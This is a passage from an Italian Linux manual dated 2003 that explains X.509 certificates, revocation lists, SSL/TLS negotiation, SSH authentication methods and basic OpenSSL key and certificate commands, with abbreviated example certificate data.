Un tipo di certificato importante è quello definito dallo standard X.509. Questo certificato servead abbinare unnome distintivo(conosciuto comeDistinguished name, ovvero l’acronimo DN) auna chiave pubblica. Questonome distintivo è in pratica una raccolta di informazioni su una certapersona in un certo contesto. Gli elementi di queste informazioni sono visti come l’assegnamentodi valori ad altrettante variabili; anche se non sono utilizzate sempre tutte, è importante tenereconto di questo fatto, ricordando le più importanti, per poter interpretare correttamente le richiestedei programmi che utilizzano questo standard.

Tabella 197.1. Alcuni campi tipici di un nome distintivo nei certificati X.509.

Campo DescrizioneUID Nominativo.CN Nome comune, oCommon name.O Organizzazione.OU Dipartimento all’interno dell’organizzazione.C Sigla del paese (nazione).ST Regione o provincia.L Località.

Le regole per stabilire esattamente quali campi devono essere usati e cosa devono contenere,dipende dalla politica dell’autorità che deve firmare il certificato. In particolare, il campo‘CN’ , acui corrisponde la definizioneCommon name, è l’elemento più vago. Spesso, quando il certificato

Page 169: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Autorità di certificazione e certificati 2153

riguarda la gestione di un servizio, contiene il nome di dominio completo dell’elaboratore dalquale questo viene offerto.

Le informazioni di un certificato X.509 tipico sono organizzate in due parti: la sezione dati e lasezione della firma elettronica. La sezione dati contiene in particolare:

• la versione dello standard X.509 a cui fa riferimento il certificato;

• il numero di serie assegnato dall’autorità di certificazione;

• il nome distintivo (DN) dell’autorità di certificazione;

• il periodo di validità del certificato;

• il nome distintivo (DN) del titolare della certificato (subject);

• la chiave pubblica del titolare del certificato;

• altre informazioni che rappresentano un’estensione dello standard.

La sezione della firma elettronica contiene in pratica la firma fatta dall’autorità di certificazione,ed è in questa parte che potrebbero apparire le informazioni necessarie ad acquisire il certificatodell’autorità stessa. A titolo di esempio si può vedere come può apparire un certificato del genere,quando questo viene tradotto in forma leggibile (la chiave pubblica e la firma sono abbreviate):

Certificate:Data:

Version: 1 (0x0)Serial Number: 0 (0x0)Signature Algorithm: md5WithRSAEncryptionIssuer: C=IT, ST=Italia, L=Milano, O=SuperCA, CN=super.ca.dg...Validity

Not Before: Dec 11 19:39:32 1999 GMTNot After : Jan 10 19:39:32 2000 GMT

Subject: C=IT, ST=Italia, L=Tiziopoli, O=Dinkel, CN=dinkel.brot.dg...Subject Public Key Info:

Public Key Algorithm: rsaEncryptionRSA Public Key: (1024 bit)

Modulus (1024 bit):00:f2:c2:7a:4b:11:c0:64:b8:63:9d:fd:7f:b1:b7:1f:55:c1:b7:1a:9b:dc:5f:bc:d8:a8:ad:cb:90:17:

...a2:7c:f9:be:92:be:1f:7e:9e:27:0e:87:d0:74:22:fd:cd:7e:47:4a:b3:12:56:fd

Exponent: 65537 (0x10001)Signature Algorithm: md5WithRSAEncryption

71:88:37:bb:f0:5e:6e:82:fa:90:87:4f:bb:b6:06:a3:da:6a:86:b7:78:8d:a6:49:c2:e1:24:2d:37:ae:70:92:b7:68:49:14:

...39:22:3b:41:46:d9:36:3a:85:d0:b2:d3:0d:d0:82:54:00:8e:38:b7:fa:52:09:d3:14:ea:18:c2:d5:5b:88:ef:05:18:1e:bd:c1:4e

È interessante osservare le righe che descrivono l’autorità garante che emette il certificato (Issuer)e il titolare (Subject). Ognuna di queste due righe rappresenta rispettivamente ilnome distintivodell’autorità e del titolare; si può vedere in che modo sono indicati i vari elementi di questainformazione (i puntini di sospensione finali sono stati aggiunti perché la riga sarebbe più lunga,con altre informazioni):

C=IT, ST=Italia, L=Tiziopoli, O=Dinkel-Brot, CN=dinkel.brot.dg...

Page 170: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2154 Autorità di certificazione e certificati

La forma è quella dell’assegnamento di variabili, alcune delle quali sono state elencate nella ta-bella197.1. La scelta delle variabili da indicare (da assegnare) dipende dall’autorità e dal contestoper il quale viene rilasciato il certificato.

Il certificato è realizzato normalmente in formato PEM (utilizza solo l’ASCII a sette bit) e il fileche lo rappresenta in pratica potrebbe apparire in un modo simile a quello seguente, che qui vienemostrato in forma abbreviata:

-----BEGIN CERTIFICATE-----MIICeTCCAeICAQAwDQYJKoZIhvcNAQEEBQAwgYQxCzAJBgNVBAYTAklUMQ8wDQYDVQQIEwZJdGFsaWExEDAOBgNVBAcTB1RyZXZpc28xFDASBgNVBAoTC0RpbmtlbC1C...t3iNpknC4SQtN65wkrdoSRQb88RpFYCkpISCbutfU4lZ+8XV7ASOJcHOrqqR65PZAeP4kVAFLnG+HTGlqHtReWszL6y75c45IjtBRtk2OoXQstMN0IJUAI44t/pSCdMU6hjC1VuI7wUYHr3BTg==-----END CERTIFICATE-----

197.2.1 Richiesta di certificato X.509

Per ottenere un certificato da un’autorità, utilizzando lo standard X.509, si parte dalla creazione diunarichiesta di certificato, che in pratica è un certificato avente già tutte le informazioni, trannela firma del garante, firmato direttamente dal richiedente. L’esempio seguente potrebbe essere larichiesta di certificato corrispondente all’esempio già visto in precedenza; anche in questo casosi abbreviano la chiave pubblica e la firma:

Certificate Request:Data:

Version: 0 (0x0)Subject: C=IT, ST=Italia, L=Tiziopoli, O=Dinkel, CN=dinkel.brot.dg...Subject Public Key Info:

Public Key Algorithm: rsaEncryptionRSA Public Key: (1024 bit)

Modulus (1024 bit):00:f2:c2:7a:4b:11:c0:64:b8:63:9d:fd:7f:b1:b7:1f:55:c1:b7:1a:9b:dc:5f:bc:d8:a8:ad:cb:90:17:

...a2:7c:f9:be:92:be:1f:7e:9e:27:0e:87:d0:74:22:fd:cd:7e:47:4a:b3:12:56:fd

Exponent: 65537 (0x10001)Attributes:

challengePassword :ciao-ciaounstructuredName :Dinkel

Signature Algorithm: md5WithRSAEncryption09:eb:da:65:21:d1:67:65:ec:c3:f7:07:7b:82:fb:3f:d3:9f:ed:89:bc:be:38:bd:97:1c:15:f0:2b:2f:ef:6b:1e:00:57:47:

...e7:70:9c:93:30:f1:aa:93:42:37:dc:32:e0:85:50:d9:ed:0e:f7:8e

Anche la richiesta di certificato è realizzato normalmente in formato PEM; il file che lo rappre-senta in pratica potrebbe apparire in un modo simile a quello seguente, che qui viene mostrato informa abbreviata:

-----BEGIN CERTIFICATE REQUEST-----MIIB/TCCAWYCAQAwgYIxCzAJBgNVBAYTAklUMQ8wDQYDVQQIEwZJdGFsaWExEDAOBgNVBAcTB1ZlbmV6aWExFDASBgNVBAoTC01BUkFNQU8tTUFIMRkwFwYDVQQDFBBj...YwJNRXTBdL7J/K+LVYFnnxbu6Z4vyDvqcCxD0hWE3VSkXQ2RHHW3sN1oMbtVfjS7NMe5qq5noKkraMhq3edwnJMw8aqTQjfcMuCFUNntDveO-----END CERTIFICATE REQUEST-----

Page 171: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Autorità di certificazione e certificati 2155

197.2.2 Revoca dei certificati

L’autorità di certificazione che ha la necessità di pubblicare i certificati che vengono revocatiprima della loro scadenza naturale, lo fa attraverso la pubblicazione di un elenco dei certifica-ti revocati, ovvero di ciò che è conosciuto con la sigla CRL (Certificate revocation list). Questoelenco è firmato dall’autorità di certificazione che lo pubblica, pertanto si tratta di un tipo di certi-ficato speciale. Nello standard X.509, questo elenco potrebbe apparire come si vede nell’esempioseguente, in cui si vedono due certificati revocati:

Certificate Revocation List (CRL):Version 1 (0x0)Signature Algorithm: md5WithRSAEncryptionIssuer: /C=IT/ST=Italia/L=Milano/O=SuperCA/CN=super.ca.dgLast Update: Jan 15 20:35:52 2000 GMTNext Update: Feb 14 20:35:52 2000 GMT

Revoked Certificates:Serial Number: 01

Revocation Date: Jan 13 19:28:40 2000 GMTSerial Number: 02

Revocation Date: Jan 13 19:28:40 2000 GMTSignature Algorithm: md5WithRSAEncryption

32:e1:97:92:96:2f:0c:e4:df:bb:9c:82:a5:e3:5b:51:69:f5:51:ad:1b:b2:98:eb:35:a6:c8:7f:d9:29:1f:b2:1e:cc:da:84:

...31:27:4a:21:4c:7a:bc:85:73:cd:ff:15:9d:cb:81:b3:0b:82:73:50

Osservando l’elenco si vede che il riferimento ai certificati è fatto solo attraverso il numero diserie, stando a indicare che i certificati firmati dall’autorità, con questi numeri di serie, sonorevocati a partire dalle date indicate.

197.3 Riferimenti

• Introduction to Public-Key Cryptography

<http://developer.netscape.com/docs/manuals/security/pkin/index.htm>

• Kille S., RFC 1779, A String Representation of Distinguished Names, 1995

<http://www.cis.ohio- state.edu/cgi- bin/rfc/rfc1779.html>

<http://www.cis.ohio- state.edu/cs/Services/rfc/rfc- text/rfc1779.txt>

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 172: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 198

Connessioni cifrate e certificateNel momento in cui si trasmettono dati cifrati e certificati, si ha una comunicazione di da-ti che hanno queste caratteristiche. Tuttavia ciò non basta per risolvere i problemi reali dellecomunicazioni, quando si richiede che tutta la connessione sia cifrata e certificata.

Una connessione cifrata non serve solo per nascondere i dati che si trasmettono, ma anche pergarantire l’identità di una delle due parti, o di entrambe.

198.1 Fasi astratte dell’instaurarsi di una connessionecifrata e certificata

Ogni protocollo pensato specificatamente per le connessioni cifrate, ha le sue particolarità, dettatedalle esigenze iniziali per le quali è stato realizzato. In linea di massima si possono individuarele fasi seguenti:

• il cliente negozia con ilservente le caratteristiche del protocollo cifrato da adottare;

• il servente invia alcliente la propria chiave pubblica all’interno di un certificato, che ilcliente può verificare se ne è in grado e se lo ritiene necessario;

• il servente può pretendere dalcliente un certificato che possa verificare, oppure puòpretendere di essere già in possesso della chiave pubblica del cliente (naturalmente giàverificata);

• una volta che ilcliente dispone della chiave pubblica delservente, può iniziare una pri-ma fase di comunicazione cifrata, in cui solitamente ci si scambia una chiave simmetricagenerata in modo casuale, per rendere più sicura la comunicazione.

La verifica dei certificati serve a garantire l’identità deinodi e delle utenze coinvolte, ovvero, unservente garantirà l’identità del servizio, mentre uncliente garantirà l’identità dell’utente che lorichiede.

La situazione tipica in cui si richiede una connessione cifrata è quella in cui una persona «qua-lunque» voglia fare un acquisto presso un negozio telematico, utilizzando il proprio navigatore.Dovendo fornire i propri dati personali, compresi quelli della carta di credito, questa personavuole essere sicura di trasmettere le informazioni alla controparte giusta. Per questo, il suo na-vigatore che instaura la comunicazione cifrata, dovrà garantire al suo utilizzatore l’identità dellacontroparte attraverso la verifica della chiave pubblica del servizio, che deve essere già in suopossesso, all’interno di un certificato ritenuto valido.

Quando l’accesso a un servizio che presuppone una connessione cifrata è soggetto a una formadi registrazione, l’autenticazione dell’accesso da parte delcliente può avvenire attraverso l’usodi un certificato depositato in precedenza. In pratica, in questo modo ilservente può chiedereal cliente di iniziare subito una connessione cifrata che da parte sua decifrerà usando la chiavepubblica delcliente stesso, a garanzia della sua identità, senza bisogno di richiedere l’inserimentodella solitaparola d’ordine.

In tutti i casi, questo tipo di connessioni non dovrebbe tornare mai a trasmettere dati in chiaro.Infatti, anche se lo scopo della procedura fosse solo quello di garantire l’identità delle parti, restacomunque necessario mantenere la connessione cifrata per garantire anche che una delle partinon venga sostituita durante la comunicazione.

2156

Page 173: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Connessioni cifrate e certificate 2157

198.2 SSL/TLS

SSL (Secure socket layer) e TLS (Transport layer security) sono due protocolli per la certifi-cazione e la comunicazione cifrata. SSL è stato sviluppato originalmente daNetscape; TLS èl’evoluzione del primo, come standard pubblicato da IETF.

Figura 198.1. Collocazione dei protocolli SSL/TLS nel modello ISO-OSI..-------------------.| Applicazione ||-------------------|| Presentazione ||-------------------|| Sessione | HTTP...‘-------------------’

SSL/TLS.-------------------.| Trasporto | TCP/IP|-------------------|| Rete ||-------------------|| Collegamento dati ||-------------------|| Fisico |‘-------------------’

Nel modelloISO-OSI, il protocollo SSL/TLS si inserisce tra il livello di trasporto (quarto) e illivello di sessione (quinto). Le sue funzionalità sono essenzialmente:

• autenticazione delservente da parte delcliente, con il quale l’utente di un servizio è ingrado di essere certo dell’identità del suo fornitore;

• autenticazione delcliente nei confronti delservente, con il quale il fornitore di un servizio siaccerta dell’identità del proprio cliente, senza dover usare le forme tradizionali (nominativoeparola d’ordine);

• crittografica della comunicazione, per garantire la segretezza delle transazioni.

198.2.1 Negoziazione

Attraverso la descrizione del meccanismo di negoziazione che c’è tracliente eservente di unaconnessione SSL/TLS, si intendono meglio il significato e il funzionamento di questo sistema.In generale, la negoziazione consente alservente di farsi riconoscere nei confronti delcliente,attraverso la tecnica della chiave pubblica, con la quale le due parti possono poi creare una chiavesimmetrica da usare per cifrare la comunicazione; inoltre, è possibile anche richiedere alclientedi identificarsi nello stesso modo in cui fa ilservente.

1. Il cliente si presenta presso ilservente fornendo alcune informazioni sulla versione delprotocollo che è in grado di gestire.

2. Il servente risponde comunicando le scelte fatte in base alla disponibilità delcliente, invian-do il proprio certificato; inoltre, se la risorsa richiesta prevede l’identificazione delcliente,richiede anche il suo certificato.

3. Il cliente analizza il certificato e determina se può riconoscere o meno ilservente; se l’au-torità di certificazione che lo ha firmato è sconosciuta, si chiede all’utente di intervenire perdecidere il da farsi.

Page 174: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2158 Connessioni cifrate e certificate

4. Attraverso i dati ottenuti fino a questo punto, ilcliente prepara un primo esemplare del-l’informazione che servirà per definire la chiave di sessione, lo cifra attraverso la chiavepubblica delservente e lo invia.

5. Se il servente aveva richiesto l’autenticazione da parte delcliente, verifica l’identità diquesto; se ilcliente non viene riconosciuto, la sessione termina.

6. Il servente e ilcliente determinano la chiave di sessione (simmetrica), in base ai dati che sisono scambiati fino a quel momento, iniziando la comunicazione cifrata con quella chiave.

Leggendo la sequenza di queste operazioni, si intende che la connessione cifrata può avveniresolo perché ilservente offre un certificato, contenente la chiave pubblica dello stesso, attraversola quale ilcliente può cifrare inizialmente le informazioni necessarie a entrambi per generare unachiave di sessione. Di conseguenza, con questo modello, non può instaurarsi una comunicazionecifrata se ilservente non dispone di un certificato e di conseguenza non dispone della chiaveprivata relativa.

Dal momento che la disponibilità di un certificato è indispensabile, se si vuole attivare unservizio che utilizza il protocollo SSL/TLS per cifrare la comunicazione, se non è possibi-le procurarselo attraverso un’autorità di certificazione, è necessario produrne uno fittizio inproprio.

198.2.2 Autenticazione del servente

Vale la pena di elencare brevemente i passi che compie ilcliente per verificare l’identità delservente:

1. viene verificato che il certificato non sia scaduto, facendo in modo che se la data attualerisulta al di fuori del periodo di validità, l’autenticazione fallisca;1

2. viene verificata la disponibilità del certificato dell’autorità che ha firmato quello delser-vente; se è presente si può controllare la firma e di conseguenza la validità del certificatoofferto dalservente;

3. se ilcliente non dispone del certificato dell’autorità di certificazione e non è in grado di pro-curarselo e nemmeno di verificarlo attraverso una catena di certificazioni, l’autenticazionedel servente fallisce;

4. infine, viene verificato che il nome di dominio delservente corrisponda effettivamente conquanto riportato nel certificato.2

198.3 Introduzione al protocollo SECSH

Il protocollo SECSH è nato a seguito dello sviluppo diSecure Shell, un sistema per l’accessoremoto «sicuro», che si sostituisce a quello tradizionale dei programmi comeRlogin eTelnet.Secure Shell, ovveroSSH, è oggi un software proprietario, ma esistono diverse realizzazioni, piùo meno libere, con funzionalità analoghe, o equivalenti, che usano lo stesso protocollo.3

1Si comprende l’importanza di avere un orologio del sistema funzionante e configurato in modo corretto.2Ciò spiega il motivo per cui, in questi casi, nel campo CN delnome distintivo di un certificato X.509 viene indicato

il nome di dominio delservente.3La difficoltà maggiore nella realizzazione di software libero di questo tipo sta nei problemi legali dovuti all’uso di

questo o quell’algoritmo crittografico, che potrebbe essere brevettato, oppure potrebbe non essere ammesso dalle leggidel proprio paese.

Page 175: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Connessioni cifrate e certificate 2159

Attraverso il protocollo SECSH si possono gestire diversi livelli di sicurezza, in cui il minimoin assoluto è rappresentato dalla cifratura della comunicazione, estendendosi a vari metodi diriconoscimento reciproco da parte deinodi che si mettono in comunicazione.

In generale, il protocollo in questione è conosciuto come quello diSecure Shell, o sem-plicementeSSH; tuttavia, questi nomi sono un marchio di fabbrica e un marchio registratorispettivamente. Per questo si preferisce qui l’uso della denominazione SECSH.

Il software che utilizza il protocollo SECSH può instaurare un collegamento tra due elaboratoriutilizzando diverse modalità, come accennato, in cui l’unica costante comune è la cifratura dellacomunicazione.

Semplificando molto le cose, da una parte si trova ilservente che offre l’accesso e mette a dispo-sizione una chiave pubblica, attraverso la quale iclienti dovrebbero poter verificare l’autenticitàdel servente a cui si connettono. Appena si verifica la connessione, prima ancora che sia statastabilita l’identità dell’utente,cliente eservente concordano un sistema di cifratura.

198.3.1 Autenticazione RHOST

Alcune realizzazioni del software che utilizza il protocollo SECSH consentono ancora, se losi desidera, di utilizzare il vecchio meccanismo dell’autenticazione attraverso i file‘ /etc/

hosts.equiv ’ e ‘~/.rhosts ’ , che in pratica sono quelli utilizzati daRlogin eRsh.

Attraverso questi file, o un’altra coppia analoga per non interferire conRlogin e Rsh, si puòstabilire semplicemente qualiclienti e quali utenti possono accedere senza che venga richiestaloro la parola d’ordine. Si tratta ovviamente di un sistema di riconoscimento molto poco sicuro,che rimane solo per motivi storici, ma in generale viene lasciato disabilitato.

198.3.2 Autenticazione RHOST+RSA

Per attenuare lo stato di debolezza causato da un sistema che accetta di autenticare iclienti e gliutenti esclusivamente in base alla configurazione di‘ /etc/hosts.equiv ’ e ‘~/.rhosts ’ (osimili), si può aggiungere la verifica della chiave pubblica delcliente.

In pratica, se ilcliente dispone di una sua chiave pubblica può dimostrare alservente la suaidentità.

198.3.3 Autenticazione RSA

A fianco dei metodi di autenticazione derivati daRlogin si aggiunge il metodo RSA, attraversocui, ogni utente che intende utilizzarlo deve creare una propria chiave RSA, indicando nel proprioprofilo personale presso ilservente la parte pubblica di questa chiave. Quando l’utente tentadi accedere in questo modo, le chiavi vengono confrontate e la corrispondenza è sufficiente aconcedere l’accesso senza altre formalità.

Quando si utilizza questo tipo di autenticazione, la parte privata della chiave generata dall’utente,viene cifrata generalmente attraverso unaparola d’ordine. In questo modo, prima di ottenerel’autenticazione, l’utente deve anche fornire questaparola d’ordine.

Page 176: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2160 Connessioni cifrate e certificate

198.3.4 Autenticazione attraverso la parola d’ordine tradizionale

Quando tutti gli altri tipi di autenticazione falliscono, il software che utilizza il protocollo SECSHverifica l’identità dell’utente attraverso laparola d’ordine relativa all’accesso normale presso quelsistema.

In pratica, questa forma di autenticazione è quella più comune, dal momento che consente l’ac-cesso senza bisogno di alcuna configurazione (a parte la generazione della chiave delnodo).Infatti, il protocollo SECSH garantisce che laparola d’ordine viaggi cifrata, essendo questo giàun grande risultato per la sicurezza dei sistemi coinvolti.

198.3.5 Chiave privata e chiave pubblica

Il software che si avvale del protocollo SECSH, deve essere provvisto generalmente di un pro-gramma per la preparazione di coppie di chiavi pubbliche e private. Queste servono necessaria-mente per attivare il servizio, dal momento che unservente del genere non può fare nulla senzaqueste; inoltre possono servire dal latocliente per facilitare l’autenticazione.

La chiave pubblica e quella privata vengono conservate in due file separati, con permessi diaccesso molto restrittivi nel caso del file della chiave privata. Tuttavia, si tende a considerare cheentrambi questi file debbano trovarsi nella stessa directory; inoltre, si intende generalmente cheil nome del file della chiave pubblica si distingua solo perché ha in più l’estensione‘ .pub ’ . Inquesto modo, per fare riferimento alle chiavi, si indica generalmente solo il nome del file dellachiave privata, intendendo implicitamente quale sia il nome del file della chiave pubblica.

Tradizionalmente, questi file hanno nomi molto simili da una realizzazione all’altra che utilizzail protocollo SECSH. Nel caso delle chiavi delservente, si tratta di qualcosa del tipo‘ /etc/ * /

* _host_key ’ e ‘ /etc/ * / * _host_key.pub ’ , mentre nel caso di chiavi personali dell’utente,si tratta di nomi del tipo‘~/ * /identity ’ e ‘~/ * /identity.pub ’ . Gli utenti che predispon-gono una propria coppia di chiavi, lo fanno generalmente per poter utilizzare un’autenticazionedi tipo RSA.

In generale, la chiave privata delservente non può essere protetta attraverso unaparola d’ordine,dal momento che il servizio deve essere gestito in modo automatico; al contrario, è opportuno chela chiave privata di un utente sia protetta, dal momento che non può impedire all’amministratoredel sistema di accedervi.4

198.3.6 Verifica dell’identità dei serventi

Un elemento importante per la garanzia della sicurezza nelle comunicazioni è la verifica dell’i-dentità delservente. Per farlo, è necessario che ilcliente possegga una copia della chiave pubblicadel servente a cui si vuole accedere.

In generale, la fiducia dovrebbe essere un fatto personale, per cui tali informazioni dovrebberoessere gestite singolarmente da ogni utente che intenda sfruttare tale protocollo. Tuttavia, alcu-ne realizzazioni tradizionali di software che sfruttano questo protocollo, consentono di definireun elenco generale di chiavi pubbliche convalidate. Di solito si tratta di file del tipo‘ /etc/

* / * _known_hosts ’ , che oltre alle chiavi contengono le informazioni suiserventi a cui siriferiscono (a meno che queste indicazioni siano già inserite in un certificato completo).

Nello stesso modo possono agire gli utenti in file del tipo‘~/ * /known_hosts ’ e ciò è preferibilein generale.

4Se si vuole mantenere la possibilità di utilizzare un sistema di autenticazione RHOST+RSA, in cui l’utente nondebba intervenire in alcun modo, è necessario che la sua chiave privata non sia protetta daparola d’ordine. Ma è già statospiegato che si tratta di un modo molto poco sicuro di gestire tale tipo di comunicazione.

Page 177: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Connessioni cifrate e certificate 2161

Di solito, per lo scopo che ha il protocollo SECSH, non ci si crea il problema di ottenere lachiave pubblica delservente per vie sicure, accontentandosi di accettarla la prima volta che si haun contatto. Ciò che si ottiene in questo modo è di verificare che ilservente non venga sostituitocon un altro durante gli accessi successivi.

A questo proposito, il software che utilizza il protocollo SECSH può arrangiarsi a fare tutto dasolo, dopo aver richiesto una conferma, oppure può pretendere che gli venga chiesto espressa-mente di accettare la chiave pubblica della controparte anche se questa non può essere verificata.Quello che segue è un esempio di ciò che potrebbe essere segnalato in tali circostanze.

Host key not found from the list of known hosts.Are you sure you want to continue connecting (yes/no)?

yes [ Invio ]

Host ’linux.brot.dg’ added to the list of known hosts.

Ovviamente, nel momento in cui si scopre che la chiave pubblica di cui si dispone non consentepiù di autenticare unservente, il programma che si utilizza deve dare una segnalazione adegua-ta. Anche in questo caso ci possono essere modi diversi di reagire: impedire l’accesso, oppurechiedere all’utente il da farsi.

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ WARNING: HOST IDENTIFICATION HAS CHANGED! @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!Someone could be eavesdropping on you right now (man-in-the-middle attack)!It is also possible that the host key has just been changed.Please contact your system administrator.

198.4 Riferimenti

• Introduction to SSL

<http://developer.netscape.com/docs/manuals/security/sslin/index.htm>

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 178: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 199

Introduzione a OpenSSLOpenSSL1 è una realizzazione in forma di software libero dei protocolli SSL/TLS (Secure socketlayer eTransport layer security) per la certificazione e la comunicazione cifrata. Inizialmente, ilprogetto si chiamavaSSLeay, ma da quando l’autore originale lo ha dovuto interrompere, questoè stato ripreso da un gruppo indipendente che lo ha ribattezzato inOpenSSL.

OpenSSL si compone di alcune librerie che permettono di incorporare le funzionalità dei pro-tocolli SSL/TLS all’interno di programmi di comunicazione, oltre a una serie diprogrammi diservizio per la gestione delle chiavi e dei certificati, arrivando eventualmente anche alla gestionedi un’autorità di certificazione.

Questi programmi, in particolare, potrebbero essere compilati in modo da distinguersi in piùfile eseguibili, oppure in modo da generare un solo eseguibile monolitico:‘openssl ’ . In questicapitoli, in cui si fa riferimento aOpenSSL, si presume che si tratti di un eseguibile unico.

199.1 Collocazione e impostazione

Non esiste una definizione ben precisa di dove devono essere collocati i file che compongono laconfigurazione e gli strumenti diOpenSSL. Quando si installaOpenSSL da un pacchetto fattoper la propria distribuzione GNU/Linux, è importante scoprire dove vengono collocati i file dellechiavi e dei certificati, così come la collocazione del file di configurazione‘openssl.cnf ’ .Intuitivamente si potranno cercare questi file a partire dalla directory‘ /etc/ ’ ; in particolare, lechiavi potrebbero essere collocate a partire da‘ /etc/ssl/ ’ o da‘ /etc/openssl/ ’ .

Quando gli strumenti diOpenSSL sono organizzati in un solo eseguibile monolitico, la sintassiper i comandi relativi si esprime sinteticamente nel modo seguente:

openssl comando [ opzioni]Tabella 199.1. Alcuni comandi di OpenSSL.

Comando Descrizioneopenssl req Gestione delle richieste di certificazione.openssl ca Gestione relativa all’autorità di certificazione.openssl crl Gestione del certificato delle revoche.openssl genrsa Generazione di parametri RSA.openssl rsa Conversione del formato di una chiave privata o di un certificato.openssl x509 Gestione dei dati dei certificati X.509.

La tabella199.1elenca brevemente alcuni dei comandi più importanti. Per avere una guida rapidaalle opzioni di ogni comando, basta utilizzare un’opzione non valida, per esempio‘ -h ’ :

$ openssl ca -h

L’esempio mostra in che modo ottenere l’elenco delle opzioni del comando‘openssl ca ’ ; co-munque, in mancanza di altra documentazione, conviene stampare e tenere a portata di manoqueste guide:

$ openssl req -h > guida.txt

$ openssl crl -h >> guida.txt

1OpenSSL licenza speciale + SSLeay

2162

Page 179: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione a OpenSSL 2163

$ openssl ca -h >> guida.txt

$ openssl genrsa -h >> guida.txt

$ openssl x509 -h >> guida.txt

Alcuni di questi comandi hanno in comune delle opzioni, che vale la pena di descrivere subito,prima di mostrare degli esempi, nei quali si potrà concentrare l’attenzione sulle altre opzionispecifiche. La tabella199.2mostra questo elenco di opzioni tipiche.

Tabella 199.2. Alcune opzioni frequenti nei comandi di OpenSSL.

Opzione Descrizione- in file Definisce un file in ingresso adatto al contesto.- out file Definisce un file in uscita adatto al contesto.- noout Non emette il risultato.- text Emette le informazioni in forma di testo leggibile.- hash Emette ilcodice di controllo relativo al contesto.- inform formato Specifica il formato dei dati in ingresso.- outform formato Specifica il formato dei dati in uscita.

Prima di descrivere la configurazione diOpenSSL, viene mostrato tecnicamente il modo perrichiedere un certificato, o per realizzarne un proprio senza valore. Infatti, in generale, la confi-gurazione standard dovrebbe essere più che sufficiente per il raggiungimento di questo obiettivo.È il caso di ricordare che un certificato è un file contenente la chiave pubblica del suo titolare,firmata da un’autorità di certificazione che garantisce la sua validità e anche la correttezza deglialtri dati.

199.2 Procedimento per ottenere un certificato

Per mettere in piedi un servizio che utilizzi i protocolli SSL/TLS, occorre predisporre dei filecontenenti chiavi e certificati. Di solito, quando si installano servizi che utilizzano questi proto-colli, la procedura di installazione si prende cura di predisporre automaticamente i file necessariper consentire il funzionamento, senza che le certificazioni che si ottengono abbiano alcun valo-re. In generale si comincia dalla creazione o dalla definizione di un file contenente dati casuali,come punto di partenza per generare una chiave privata, quindi si passa alla creazione di unarichiesta di certificazione, oppure alla creazione di un certificato auto-firmato, senza valore.

199.2.1 File contenente dati casuali

Un file casuale può essere creato in vari modi, per esempio mettendo assieme alcuni file,

$ cat file_a file_b file_c > file_casuale

magari rielaborandoli in qualche modo, oppure prelevando un po’ di caratteri dal file‘ /dev/

random ’ :

$ dd if=/dev/random of=file_casuale bs=1b count=1k

Page 180: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2164 Introduzione a OpenSSL

199.2.2 Chiave privata

Per generare una chiave privata in chiaro, si utilizza il comando‘openssl genrsa ’ , in un modosimile a quello seguente, dove in particolare viene utilizzato il file‘ file_casuale ’ come originedi dati casuali, ottenendo il file‘chiave_privata.pem ’ di 1024 bit:

$ openssl genrsa -rand file_casuale -out chiave_privata.pem 1024

Eventualmente, per creare una chiave privata cifrata, basta aggiungere un’opzione a scelta tra‘ -des ’ , ‘ -des3 ’ e ‘ -idea ’ , che stanno a indicare rispettivamente gli algoritmi DES, DES-triploe IDEA. Viene mostrato il caso in cui si utilizza l’opzione‘ -des3 ’ :

